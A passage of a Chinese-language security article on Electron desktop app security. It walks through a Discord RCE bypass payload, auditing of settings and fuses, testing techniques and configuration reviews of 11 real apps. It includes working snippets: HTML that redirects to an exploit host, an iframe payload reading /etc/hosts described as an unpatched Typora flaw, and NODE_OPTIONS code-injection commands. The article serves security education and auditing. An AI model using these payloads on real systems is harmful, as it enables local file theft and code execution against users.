  if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) {
    popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);
  } else {
    _electron.shell.openExternal(windowURL);
  }
});

绕过代码为

<html>
 <h1>pwn</h1>
 <script>
  document.body.innerHTML="<button onclick=window.open('https://discord.com/popout','DISCORD_foo').location='http://notctf.s1r1us.ninja/discord/exp2.html'>CLICK ME"
 
</script>
</html>

点击 CLICK ME 后,会打开 https://discord.com/popout,页面名称(frameName)为 DISCORD_foo,此时触发 new-window 事件,首先阻止默认执行,之后进入 if 判断

if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) {
    popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);
  }

Discord 一看,frameName 好像确实是以 DISCORD_NAMESPACE这个常量的值为起始的(虽然我们不知道其值,但是 DISCORD_foo 是我们定义的,所以它要什么样的,我就可以模拟什么样的,推测  DISCORD_NAMESPACE 的值为 DISCORDDISCORD_

接下来看第二个条件, windowURL 是不是以 WEBAPP_ENDPOINT 常量的值为起始,我们提供的值是 https://discord.com/popout,是满足的,所以就会进入到执行语句

popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);

进而打开一个没有 sandbox 的窗口,此时还执行了 .location='http://notctf.s1r1us.ninja/discord/exp2.html' 这样就在新的窗口中执行了我们的 V8 Exploit ,成功 RCE

3. CVE-2024-23739

https://github.com/V3x0r/CVE-2024-23739

https://www.youtube.com/watch?v=VWQY5R2A6X8

https://media.defcon.org/DEF%20CON%2031/DEF%20CON%2031%20presentations/Wojciech%20Regu%C5%82a%20-%20ELECTRONizing%20macOS%20privacy%20-%20a%20new%20weapon%20in%20your%20red%20teaming%20armory.pdf

这个漏洞其实是一个通用性的漏洞,影响的是所有在 MacOS 上的 Electron 程序,红队利器

之前在DEFCON 31上一位安全研究员讲述了该漏洞,并给出了检查及利用工具

https://github.com/r3ggi/electroniz3r

这个漏洞是利用了我们上一篇文章中提到的 --inspect 参数远程调试的技巧,但是上一篇文章中我仅仅是用来监听端口,之后任意代码执行,这个工具的作者显然对此研究更深入,因为他是某个公司 MacOS 安全这方面的管理人员,所以对 MacOS 上其带来的影响描述的更加准确细致

利用这类漏洞,可以继承 Electron APP 所拥有的 TCC 权限,可能造成提权,而且如何绕过 MacOS 后续更新中的限制视频中也有所提及,大家看视频会得到更加有效的信息

5. Others

我们已经分析了 4 款 Electron 程序的几十个漏洞了,如果你还想看看其他的程序之前爆出来的漏洞,可以看看以下程序

Rambox 0.6.9

https://www.cnblogs.com/ly584521/p/13632049.html

WhatsApp

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1889

Jitsi Meet Electron

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-25019

https://github.com/jitsi/jitsi-meet-electron/commit/ca1eb702507fdc4400fe21c905a9f85702f92a14

https://security.stackexchange.com/questions/225799

pritunl electron client

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-25989

Zulip Desktop

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9443

Boost Note

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41392

UiPath Assistant

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44042

3CX 电话系统管理控制台

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-28005

https://medium.com/@frycos/pwning-3cx-phone-management-backends-from-the-internet-d0096339dd88

WebCatalog

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-42222

SideQuest

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21625


0x04 如何评估 Electron 程序的安全性

https://www.electronjs.org/zh/docs/latest/tutorial/security

这个章节内容对很多朋友来说是非常重要的,我只想知道我用的程序安全性怎么样? 使用过程中有哪些需要注意的?

这里以 Yakit ,主要是因为它没有做混淆,比较容易作为案例,版本为 1.3.1-sp6

1. 解包 asar 文件

常规的 Electron 程序会将程序代码打包成 .asar 文件,该文件中通常包含了程序的部分源代码

MacOS 为例,Windows 就更加简单了

这部分我们会使用 asar 工具解压应用程序打包的 .asar 文件包,具体安装及使用命令如下

npm install -g @electron/asar
asar extract app.asar ./

找到 asar 文件

应用程序 -> Yakit.app

右键,显示包内容

进入到同级目录,使用 asar 进行解包

npx asar extract app.asar ../dist_version

这样可以将 app.asar 解包到上级目录的 dist_version 目录

2. 供应链安全评估

该应用程序使用的依赖包列表在 package.json

{
  "name""yakit",
  "version""1.3.1-sp6",
  "description""Yakit is for yaklang.io Electron GUI Entry",
  "main""app/main/index.js",
  "author""",
  "license""ISC",
  "dependencies": {
    "@grpc/grpc-js""^1.3.6",
    "@grpc/proto-loader""^0.6.4",
    "axios""^0.26.1",
    "chrome-launcher""^0.15.0",
    "compressing""^1.8.0",
    "dompurify""^3.0.5",
    "electron-is-dev""^2.0.0",
    "electron-updater""^4.3.9",
    "electron-window-state""^5.0.3",
    "form-data""^4.0.0",
    "fs-extra""11.1.1",
    "google-protobuf""^3.17.3",
    "js-base64""^3.7.5",
    "node-stream-zip""^1.15.0",
    "node-xlsx""^0.21.0",
    "process""^0.11.10",
    "request""^2.88.2",
    "request-progress""^3.0.0",
    "sudo-prompt""^9.2.1",
    "tree-kill""^1.2.2"
  }
}

我们可以手动搜索看看是否存在包含漏洞版本的依赖包,当然也可以通过 npm 来完成

npm audit

该命令会根据统计目录下的 package.jsonpackage-lock.json 等文件自动进行成分分析

首次执行会报错,可以通过官方的提示进行处理

npm i --package-lock-only

继续执行 npm audit

可以看到,其中包含 10 个漏洞,其中 6 个中危、2 个高危、2 个严重

这其实就是 SCA 的工作,即软件成分分析,大家可以根据漏洞情况评估一下是否对我们的使用产生影响

当然,搞漏洞挖掘的师傅和软件开发者更应该好好关注一下

如果应用程序开启了 nodeIntegration,那一定要注意 dompurify 这种负责过滤有害 javascript 代码的程序的版本,低版本可能会被绕过

3. Electron 版本

很多程序虽然看起来非常精美,但实际上可能使用着非常老旧的 Electron 版本,那就意味着使用者要承担旧版本 Electron 和 旧版本 Chromium 带来的风险

1) package*.*

某些程序可能会将 electron 版本打包进 package.json 及其相关文件中,Yakit就将 Electron 版本加入到了 package.json.pre-commit.bak 文件中,但这很少见,也不见得准确,可以使用以下命令进行查找

grep -rn  "electron\":"
grep -rn  "electron\" :"

可以看到这里标记的 Electron 版本为 13.1.7

2) 远程调试

远程调试的利用 https://mp.weixin.qq.com/s/C2frOpRWwaF_IBcEg-6YIQ

上一篇文章写的《远程调试的利用》正好可以被用来干这件事

./Yakit --inspect="0.0.0.0:5555" 

可执行文件位置为

应用程序 -> Yakit.app -> Contects -> MacOS

使用 chrome 等浏览器进行远程调试

chrome://inspect/#

配置远程调试刚才的监听

在终端窗口中输入以下指令

process.versions.electron

这里可以获取到准确的 Electron 版本,可以看到,版本是 27.0.0

通过 process.versions 可以看到更多程序的版本

后面还有更简单的方法

3) 对比版本发布说明

https://releases.electronjs.org/releases/stable

这里可以看到版本发布说明,这里可以看到每个版本修复的漏洞,进而对比当前版本是否存在漏洞

4. nodeIntegration

https://www.electronjs.org/zh/docs/latest/tutorial/security#2-%E4%B8%8D%E8%A6%81%E4%B8%BA%E8%BF%9C%E7%A8%8B%E5%86%85%E5%AE%B9%E5%90%AF%E7%94%A8-nodejs-%E9%9B%86%E6%88%90

这个属性是主进程创建渲染进程窗口控制渲染进程是否具备执行 NodeJs 的能力,如果该属性设置为 true,渲染进程一旦出现 XSS 等漏洞,能够执行 Javascript 代码,就会导致 RCE 漏洞

这个特性在 5.0 版本开始默认设置为 falseElectron 中通过 IPC 通信,可以让渲染进程执行开发者自定义的功能,这种通信更加安全,绝不推荐开启 nodeIntegration 功能

在之前的内容中,Typora 和蚁剑就开启了该选项

对于 Typora 来说,如果其出现 XSS漏洞,其用户打开恶意的 markdown 文件或者将恶意的 Markdown 内容复制粘贴到 Typora 就会被攻击,因此我建议大家在打开 Markdown 文件前先用记事本之类的程序打开看一下,确定没有恶意代码后再打开

对于蚁剑来说,每一个渲染的点,如果没有处理好 XSS 问题,就可能会被反制,因此建议在隔离环境中使用

通过 package.jsonmain 获取到程序入口的 js 文件

可以看到,YakitnodeIntegration 设置为 true,这也就意味着一旦 Yakit 出现 XSS 可能就会被直接反制,也就是 RCE,所以这里也建议大家放在隔离环境使用

由于 nodeIntegration: true 而导致 RCE 的案例就太多了,可以参考上面的应用程序漏洞案例中的 Typora ,那 18 个漏洞绝大多数都是

如果应用程序开启了 nodeIntegration,那一定要注意 dompurify 这种负责过滤有害 javascript 代码的程序的版本,低版本可能会被绕过

具体可以参考 Typora 的部分案例

5. contextIsolation

https://www.electronjs.org/zh/docs/latest/tutorial/security#3-%E4%B8%8A%E4%B8%8B%E6%96%87%E9%9A%94%E7%A6%BB

上下文隔离, 从 Electron 12.0.0 版本开始默认开启(true)

这个属性是主进程创建渲染进程窗口控制渲染进程是否具备覆盖 JavaScript 方法的能力,如果该属性设置为 false,渲染进程一旦出现 XSS 等漏洞,能够执行覆盖 Javascript 代码,配合预加载脚本及主进程定义好的功能,可能会导致 RCE 漏洞

可以看到,Yakit 的上下文隔离被关闭了,一旦出现 XSS漏洞,也是比较危险的

由于 contextIsolation 导致的 RCE 也是不少的,可以参考上面的 DiscordRCE by @kinugawamasato 章节

6. sandbox

https://www.electronjs.org/zh/docs/latest/tutorial/security#4-%E5%90%AF%E7%94%A8%E8%BF%9B%E7%A8%8B%E6%B2%99%E7%9B%92%E5%8C%96

https://www.electronjs.org/zh/docs/latest/tutorial/sandbox

Chromium 的一个关键安全特性是,进程可以在沙盒中执行。 沙盒通过限制对大多数系统资源的访问来减少恶意代码可能造成的伤害 — 沙盒化的进程只能自由使用 CPU 周期和内存。 为了执行需要额外权限的操作,沙盒处的进程通过专用通信渠道将任务下放给更大权限的进程。

Electron 20 开始,渲染进程默认启用了沙盒,无需进一步配置

配置沙盒后,能够阻止 iframe 中的恶意内容影响渲染进程乃至主进程,因此对于部分想通过 <embed>得到 RCE目的的攻击中绕过沙盒执行代码通常是其中的一个环节,可以参考上面的 Discord 中的 RCE by electrovolt

8. webSecurity

https://www.electronjs.org/zh/docs/latest/tutorial/security#6-%E4%B8%8D%E8%A6%81%E7%A6%81%E7%94%A8-websecurity

webSecurity  是开启同源策略的,默认即开启

关闭 webSecurity 可能导致加载其他域的 JavaScript 脚本,具体参考应用程序漏洞案例中的 Goby

发现 Goby 漏洞时,发现者发现有很多安全限制,之后通过加载外部 urlJavaScript 进行了绕过,当然即使不使用外部 JavaScript 可能也可以绕过,但是关闭 webSecurity 使 Goby 的过滤规则更容易被绕过

7. fuse

https://www.electronjs.org/zh/docs/latest/tutorial/security#19-check-which-fuses-you-can-change

https://www.electronjs.org/zh/docs/latest/tutorial/fuses

https://npmjs.com/package/@electron/fuses

fuse 直接翻译过来是保险丝,我也不知道到底怎么翻译比较好,Electron 既然是为了所有桌面开发者准备的,那自然就会附带比较全的功能,但是这并不是对所有开发者都有意义,因此 Electron 提供了关闭部分功能的 fuse ,当然,有 fuse 自然就有状态, Electron 默认会开启和关闭一些 fuse,具体参照上面的参考链接

看起来好像不多,我们可以说一说

fuse作用默认状态
runAsNoderunAsNode 是否考虑ELECTRON_RUN_AS_NODE环境变量。请注意,如果禁用此fuse,则主进程中的process.fork将无法按预期运行,因为它依赖于此环境变量来运行Enabled
cookieEncryptioncookieEncryption 磁盘上的cookie存储是否使用操作系统级别的加密密钥进行加密。默认情况下,Chromium用于存储cookiesqlite数据库以明文形式存储值。如果您希望确保您的应用程序cookie以与Chrome相同的方式加密,则应启用此 fuseDisabled
nodeOptionsnodeOptions 是否考虑NODE_OPTIONS环境变量。此环境变量可用于将各种自定义选项传递到Node.js运行时,并且通常不被生产中的应用程序使用。大多数应用程序可以安全地禁用此 fuseEnabled
nodeCliInspectnodeCliInspect 是否遵守--inspect--inspect-brk 等标志。禁用时,它还确保 SIGUSR 1信号不会初始化主进程检查器。大多数应用程序可以安全地禁用此保险丝。Enabled
embeddedAsarIntegrityValidationembeddedAsarIntegrityValidationmacOS上的一项实验性功能,该功能在加载 app.asar文件时验证其内容。此功能旨在将性能影响降至最低,但可能会略微降低从 app.asar 存档中读取文件的速度Disabled
onlyLoadAppFromAsaronlyLoadAppFromAsar 改变了Electron用来定位应用程序代码的搜索系统。
默认情况下,Electron将按照以下顺序搜索 app.asar -> app -> default_app.asar。当这个fuse 被启用时,搜索顺序变成了一个单一条目的 app.asar,从而确保当与embeddedAsarIntegrityValidation fuse结合使用时,不可能加载未经验证的代码。
Disabled
loadBrowserProcessSpecificV8SnapshotloadBrowserProcessSpecificV8Snapshot 更改浏览器进程使用的V8快照文件。
默认情况下,Electron的进程都将使用相同的V8快照文件。启用此fuse后,浏览器进程将使用名为browser_v8_context_snapshot.bin 的文件作为其V8快照。其他进程将使用它们通常使用的V8快照文件
Disabled
grantFileProtocolExtraPrivilegesgrantFileProtocolExtraPrivilegesfile:// 协议加载的页面是否被赋予超出它们在传统Web浏览器中所获得的权限的权限。在Electron的原始版本中,这种行为是Electron应用程序的核心,但不再需要,因为应用程序现在应该从自定义协议中提供本地文件。如果您不从 file://中提供页面,则应禁用此fuseEnabled

这是 2024-04-09 时存在的 fuse 以及默认状态,我觉得并没有很好遵循 默认即安全 的原则

我觉得 runAsNodenodeOptionsnodeCliInspectgrantFileProtocolExtraPrivileges 设置为 Disabled 会比较好,但官方的态度与我相反

https://www.electronjs.org/zh/blog/statement-run-as-node-cves

看看后续 Electron 后续会不会进行更改默认情况吧

检查一个应用程序的 fuse 设置

https://www.electronjs.org/zh/docs/latest/tutorial/fuses#how-do-i-flip-the-fuses

需要安装 @electron/fuses 依赖包

npm i @electron/fuses

读取软件包的 fuse 设置

npx @electron/fuses read --app /Applications/Foo.app

可以看到 Yakit 采用了默认的配置,由于这部分是让大家了解自己使用的 Electron 程序的安全性,所以不做详细的结束细节说明,放在下一节,这里简单描述

RunAsNodeEnableNodeOptionsEnvironmentVariable 处于 Enabled 状态,那么攻击者如果以该程序来加载 Nodejs 代码,进而实现利用有签名的程序代码执行。当然,前提是攻击者已经具备命令执行了

EnableNodeCliInspectArguments 会开启远程调试功能,远程调试的结果也是任意代码执行

以上的特性都可能在 MacOS 上造成权限提升,这是由于 MacOSTCC 继承导致的,更多细节查看下面的视频

https://www.youtube.com/watch?v=VWQY5R2A6X8

8. Preload 预加载脚本

https://www.electronjs.org/zh/docs/latest/tutorial/process-model

预加载脚本很重要,但是对于没有了解过 Electron 的朋友们并不容易理解,可以先阅读上面的流程模型,就可以了解 Electron 的架构

简单粗略来说,Electron = Nodejs + ChromiumNodejs 负责系统交互,可以理解为主进程,Chromium 负责页面渲染,可以理解为渲染进程

比较常见的配置是禁止渲染进程执行 Nodejs 代码,同时开启上下文隔离,此时如果渲染进程想要使用操作系统或者硬件的部分功能怎么办呢? 通过 IPC 通信,主进程定义好功能,之后渲染进程只传递数据,这样就可以保证 XSS 不会轻易导致 RCE,但是如果所有渲染进程都可以发 IPC 也很危险,所以在主进程与渲染进程之间吧,设置了一种叫做预加载脚本的东西Preload,会在创建窗口的时候指定

预加载脚本可以执行部分 Nodejs 代码,毕竟它要代表渲染进程与主进程通信嘛,但是危险的方法都用不了,之后通过一种官方定义的桥将方法暴漏给渲染进程,这样渲染进程直接调用方法就好

预加载脚本检查主要是看两点

  • 是否存在危险方法
    • 加载任意 Nodejs 模块等
  • 是否存在过度暴露
    • 例如将渲染进程用来 IPC 通信的对象直接暴露给渲染进程

预加载脚本文件检查过程中要与主进程关联着看,IPC通信是有 暗号的,一一对应

还是以 Yakit 为例

我们看一下 preload.js 的代码

Yakit 在这方面不具备什么代表性,因为它的渲染进程具备执行 Nodejs  的能力

我们看一下官方的案例

https://www.electronjs.org/zh/docs/latest/tutorial/ipc

这是一个渲染器进程到主进程通信的案例,我们将从渲染器进程打开一个原生的文件对话框,并返回所选文件的路径。

可以看到主进程创建窗口前,先使用 ipcMain.handle() 创建了监听,并且提供了 “暗号”以及对应的处理程序

预加载脚本 preload.js 通过 contextBridge 向渲染进程暴漏了方法 electronAPI.openFile(),这样如果渲染进程想要打开原生的文件对话框,就调用 electronAPI.openFile() 方法就可以了,调用后,预加载脚本中 ipcRenderer向主进程发送 “暗号” dialog:openFile,主进程就明白过来了,交给 handleFileOpen 函数进行处理

回到我们刚才提到的两点检查项

  • 是否存在危险方法

    如果有一些方法是预加载脚本传递命令字符串,主进程负责执行并返回,那这就属于危险方法了

  • 是否存在过度暴露

    如果预加载脚本直接将 ipcRenderer 暴漏给渲染进程,而不是上面的 electronAPI.openFile(),那就属于过度暴露

如果上下文隔离被设置为 false ,那渲染进程里写的内容就已经没有那么重要了,因为每一个方法都可能被渲染进程覆盖,只能看主进程的实现上有没有危险的内容

9. CSP

https://www.electronjs.org/zh/docs/latest/tutorial/security#7-content-security-policy%E5%86%85%E5%AE%B9%E5%AE%89%E5%85%A8%E7%AD%96%E7%95%A5

内容安全策略(CSP) 是应对跨站脚本攻击和数据注入攻击的又一层保护措施。 我们建议任何载入到 Electron的站点都要开启。

内容安全策略属于是一种白名单机制,能够有效的防止外部 JavaScript 注入执行等,建议开启,检查方法也比较简单,就要窗口加载的 html 中是否设置了策略即可

如果是开发模式,就以 HTTP 形式加载,如果不是,就用 HTML 文件,我们直接找到文件

似乎没有看到 CSP 相关设置

如果有的话,应该是这样

<meta http-equiv="Content-Security-Policy" content="default-src 'none'">

当然,如果有 CSP 设置,也要看一下是否配置合理

10. 自定义协议

https://www.electronjs.org/zh/docs/latest/api/protocol#protocolregisterschemesasprivilegedcustomschemes

这个部分是经常产生漏洞的地方,检查也就是看其是否合理,有没有目录浏览,目录穿越等,导致的问题主要是本地文件泄漏和远程代码执行

具体漏洞案例参考应用漏洞案例章节的 Typora 中部分案例

小结

以上 10 点基本可以让普通的用户把一个 Electron 开发的程序安全性摸个差不多了,对于 nodeIntegration 设置为 true 的程序要尤为注意

对于编辑器类程序,尤其是 Markdown 这种支持 html 的编辑器,如果没有做好安全配置,打开 .md 等文件一定要提前用记事本或其他程序看一下有没有恶意内容

对于涉及与外部交互的程序,建议尽可能在隔离环境运行,或者与开发者交流,交流一下意见

Electron 目前除了 fuse,其他的已经基本遵循默认即安全的原则了,所以对于正确配置了安全策略的程序,如果不是用了老旧的 Electron 版本,安全性还是有保障的

仅仅想了解自己使用的程序安全性的朋友们可以撤了,接下来的部分要面向测试人员了

0x05 Electron 测试技巧

如果你想测试 Electron 程序,你至少应该把 Electron 官网的内容都看一遍,大概心里有个数,上面的 10 点是测试的基本,我们需要对部分内容进行深入以及补充

https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/electron-desktop-apps

1. nodeIntegrationInSubframes

这个选项默认为 false,如果 nodeIntegration 设置为 true,那么渲染进程可以执行 Nodejs ,但是 iframe 这种嵌入并不能执行 Nodejs ,如果同时 nodeIntegrationInSubframes 设置为 true ,那么 iframe 就也可以执行 Nodejs 了,这非常危险

如果  nodeIntegrationInSubframes 设置为 true , nodeIntegration 设置为 false,那么 Preload脚本将在所有的 iframe 中也加载

其他的选项可以参考

https://www.electronjs.org/zh/docs/latest/api/browser-window

2. 开发者工具

Electron 中可以使用快捷键打开开发者工具

  • Window  shift + ctrl + i
  • Mac  ALT + Cmd + i

部分程序集成在了菜单中

如果 Electron 应用没有启用asar完整性检查,也可以添加下面代码进行开启开发者工具

win.webContents.openDevTools()

https://www.electronjs.org/zh/docs/latest/tutorial/devtools-extension

重新打包后运行可能就开启开发者工具了

3. 抓包

很多程序在本地 127.0.0.1 开启 web 服务,之后 Electron 从中调用 API 获取数据等,此时有两种方法可以观察此请求

一个是 Wireshark,一个是配置代理,修改 asarpackage.json 中的启动参数

"start-main""electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

应该也可以使用 proxychains 这类的应用进行,这个可以以 Goby 为例,因为 Goby 有日志,可以发现端口,当然也可以通过配置处找到端口

尝试 Wireshark 抓包

这样就可以看到数据包了,用其他程序代理到 burp 也是极好的

4. 导航

Electron 中定义了两个事件与这件事相关

  • new-window
  • will-navigate

这两个事件能够有效防止攻击至少要满足两个条件

  • 导航不会被绕过

    这点主要看 Electron 版本,是存在部分版本有被绕过的先例,参考应用漏洞案例中的 Discord

  • 事件处理代码健硕

    这个主要看开发者对于事件处理是否合理,是否存在被绕过的可能,也可以参考 应用漏洞案例中的 Discord,也算是一个案例吧

5. 自定义协议

这点在应用程序漏洞案例章节 Typora 系列漏洞中有体现,主要是路径处理得有问题,导致本地文件加载甚至 RCE

除此之外,还有一个问题需要我们考虑 shell.openExternal

https://www.electronjs.org/docs/latest/tutorial/security#15-do-not-use-shellopenexternal-with-untrusted-content

shell.openExternal 用来使用默认的方式打开链接,这就导致如果使用 file:// 协议就可以打开二进制文件,而且还支持远程加载,在 Windows 上打开 smb:\\ 就可以从远程加载 exe 在本地执行,还有很多利用方法

所以测试过程中要检查  shell.openExternal 加载的内容是否可控

https://benjamin-altpeter.de/shell-openexternal-dangers/

https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8

6. 本地文件读取

除了上面介绍的读取/执行本地文件,在一些不安全的 Electron 版本以及配置中,一些嵌入式标签甚至可能直接将 src 设置为本地文件地址,进而造成本地文件读取,经过我的测试, Typora 中最新版仍然存在此漏洞,这也算是个 0day 了吧

<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
    function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>

7. 本地代码注入

MacOS 上,如果按照默认的 fuse ,那么将会允许远程调试和将Electron 程序作为 Nodejs 程序来启动两件事,这两件事对我们攻击来说都十分有利

https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection

RunAsNode设置为 Enabled 时,可以通过设置环境变量 ELECTRON_RUN_AS_NODE=1 来执行 Nodejs代码

还是以 Yakit 为例,首先看一下 fuse 设置

1) RunAsNode

RunAsNodeEnabled ,此时我们可以通过以下命令,执行 Yakit ,但实际上会打开一个 node shell

ELECTRON_RUN_AS_NODE=1 /Applications/Yakit.app/Contents/MacOS/Yakit 

也就是说这个 fuse 可以让任意一个 Electron 程序成为一个 nodejs shell ,在一些情况下是个不错的工具

2) nodeOptions

Payload 保存至 payload.js

require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator');

通过 nodeOptions 进行执行

NODE_OPTIONS="--require ./payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Yakit.app/Contents/MacOS/Yakit

3) nodeCliInspect

这个就是之前的远程调试了,详情参见

https://mp.weixin.qq.com/s/C2frOpRWwaF_IBcEg-6YIQ

不过这里有师傅研究得更加详细,上面也提到了

https://www.youtube.com/watch?v=VWQY5R2A6X8

由于 MacOSTCC 权限继承,导致远程调试获取的权限可能大于启动远程调试的用户权限,造成提权;又由于 MacOS 对于签名校验方面的特性,即便后续修复了程序,仍然可以使用就程序完成此攻击

我虽然使用 MacOS ,但是对于 MacOS 安全并不是了解很多,所以推荐大家去看视频

视频中演讲的安去研究员还开发了一个程序,专门用来做这类攻击

https://github.com/r3ggi/electroniz3r

只给了源代码,使用 xcode 即可编译,我第一次使用就编译成功了,所以不复杂

之前 Discord 最后一个漏洞就是用这个工具做的证明,这种漏洞也申请到了 CVE

我用这个工具将电脑中的 Electron 程序列了出来,这倒是很方便


4) 小结

剩下的技巧都在之前的漏洞分析中了,做 Electron 要对前端安全知识有足够的了解

0x06 实测电脑上的APP

我们既然对 Electron 程序安全测试有了一些认识,我们就实测一下我电脑中的一些 Electron 的安全性吧

由于绝大多数代码都进行了混淆,这里就以 Electron 本身的版本、安全配置、fuse 角度来看一看吧

我们都采用 2024-04-10 最新版

1. Goby

https://gobysec.net/#dl

应用程序版本

2.9.2

Electron 版本

ELECTRON_RUN_AS_NODE=1 /Applications/Goby.app/Contents/MacOS/Goby 
process.versions

版本是 16.2.8

安全配置

nodeIntegration: true,
contextIsolation: false,
nodeIntegrationInSubFrames: true,
webSecurity: false,
enableRemoteModule: true,

Goby 的安全配置看起来几乎是将所有的安全措施都关闭了,全靠代码来维护安全,建议在隔离环境运行

fuse

Analyzing app: Goby.app
Fuse Version: v1
RunAsNode is Enabled
EnableCookieEncryption is Disabled
EnableNodeOptionsEnvironmentVariable is Enabled
EnableNodeCliInspectArguments is Enabled
EnableEmbeddedAsarIntegrityValidation is Disabled
OnlyLoadAppFromAsar is Disabled

使用的是默认配置

2. Yakit

https://www.yaklang.io/

应用程序版本

1.3.1-sp6

Electron 版本

27.0.0

安全配置

nodeIntegration: true,
contextIsolation: false,
sandbox: true

两大重要安全措施均为配置,建议在隔离环境运行使用

fuse

默认配置

Analyzing app: Yakit.app
Fuse Version: v1
RunAsNode is Enabled
EnableCookieEncryption is Disabled
EnableNodeOptionsEnvironmentVariable is Enabled
EnableNodeCliInspectArguments is Enabled
EnableEmbeddedAsarIntegrityValidation is Disabled
OnlyLoadAppFromAsar is Disabled
LoadBrowserProcessSpecificV8Snapshot is Disabled

3. Discord

https://discord.com/

应用程序版本

0.0.299 (0.0.299)

Electron 版本

28.2.7

安全配置

nodeIntegration: false,
sandbox: false,
enableRemoteModule: false,
contextIsolation: true,

所有的安全措施基本上都正确配置了,可以放心使用

fuse

Analyzing app: Discord.app
Fuse Version: v1
RunAsNode is Enabled
EnableCookieEncryption is Disabled
EnableNodeOptionsEnvironmentVariable is Enabled
EnableNodeCliInspectArguments is Enabled
EnableEmbeddedAsarIntegrityValidation is Disabled
OnlyLoadAppFromAsar is Disabled
LoadBrowserProcessSpecificV8Snapshot is Disabled

默认配置

4. VSCode

https://code.visualstudio.com/

应用程序版本

1.88.0

Electron 版本

28.2.8

安全配置

preload: h.$Cg.asFileUri("vs/base/parts/sandbox/electron-sandbox/preload.js").fsPath,
additionalArguments: [`--vscode-window-config=${R.resource.toString()}`],
v8CacheOptions: this.h.useCodeCache ? "bypassHeatCheck" : "none",
enableWebSQL: !1,
spellcheck: !1,
zoomFactor: (0, i.$oD)(W.zoomLevel),
sandbox: !0

只配置了 sandbox ,其他安全配置都是默认配置,默认即安全,可以正常使用,而且 VSCode 还有自己单独的严格模式

fuse

默认配置

5. xmind

https://xmind.cn/

应用程序版本

24.0.14362

Electron 版本

未能成功获取

安全配置

webSecurity: true,
nodeIntegration: true,
webviewTag: true,
contextIsolation: false

只显式地开了跨域防护,其他安全措施没有配置,建议隔离环境运行

fuse

6. signal

https://signal.org/zh_CN/

应用程序版本

6.10.1

Electron 版本

未能成功获取

安全配置

nodeIntegration: false,
nodeIntegrationInWorker: false,
sandbox: false,
contextIsolation: !(0, import_environment.isTestEnvironment)((0, import_environment.getEnvironment)()), // true

除了  sandbox 被设置为了 false ,其他安全配置都设置了,想要造成 RCE 攻击还是比较困难的,可以正常使用

fuse

Analyzing app: Signal.app
Fuse Version: v1
RunAsNode is Disabled
EnableCookieEncryption is Enabled
EnableNodeOptionsEnvironmentVariable is Disabled
EnableNodeCliInspectArguments is Disabled
EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is Disabled

这个fuse 配置给我整感动,终于有一个 app 跟我想法一样了

7. bilibili

https://www.bilibili.com/

应用程序版本

1.13.2

Electron 版本

21.3.3

安全配置

未能成功获取

fuse

8. Docker Desktop

https://www.docker.com/products/docker-desktop/

应用程序版本

4.29.0 (145265)

Electron 版本

安全配置

fuse

9. 百度网盘

https://pan.baidu.com/

应用程序版本

4.32.1

Electron 版本

这个 electron 版本偏低

安全配置

有至少四个相关配置,应该是对应不同的窗口的,但是没有看出来哪个是主窗口,不过没关系,可以看到关键的几个安全配置

nodeIntegration: true,
nodeIntegrationInWorker: true,
enableRemoteModule: true,
contextIsolation: false,

基本上安全配置都没有设置,因此如果出现 XSS ,很容易导致 RCE ,建议隔离环境使用

fuse

在这个版本还没有引入 fuse

10. 夸克网盘

https://pan.quark.cn/

应用程序版本

3.1.9

Electron 版本

18.3.5.17-1a44cfa97d

安全配置

夸克网盘不同窗口有不同的策略,但是大部分如图中所示,关闭了所有的安全措施,建议在隔离环境中使用

fuse

11. 优酷

https://youku.com/

应用程序版本

9.2.49

Electron 版本

未获取到版本

安全配置

webSecurity: false,
allowRunningInsecureContent: true,
nodeIntegration: true,
enableRemoteModule: true,
contextIsolation: false

关闭了所有安全配置,而且还引用了非常危险的 remote 模块,建议在隔离状态下运行

fuse

应该是这个版本支持的 fuse 比较少


12 小结

通过对 11 款程序最新版本的测试,发现安全性堪忧,国外的几款做得相对优秀,具体大家可以自己看上面的测试结果

0x07 小感慨

最近出现的 xz 后门事件,让我有了写这篇文章的想法,我希望使用 Electron 能够有能力透过应用程序精美的外观看到应用内部的安全情况

我们实在是很难确定到底还有多少类似 xs 后门这类事件,但目前已经表现出来的是:很多的开源贡献者做了很伟大的程序,但是在后期维护过程中苦不堪言,这完全可以理解,有些时候,这些优秀产品的产生仅仅是因为创作激情,但是维护带来的正向情绪会越来越少,维护的热情也会逐渐消失

我们在公众号 5000 关注者的时候曾经承诺将大家的赞赏翻倍传递给这些开源贡献者,也是处于这种考虑,希望能对这种现状有一点点帮助

0x08 PDF 版本下载地址

https://pan.baidu.com/s/1MoNBPVnG8xpVqCzFZDLS1w?pwd=vt92

提取码: vt92

往期文章

有态度,不苟同


继续滑动看下一个
向上滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存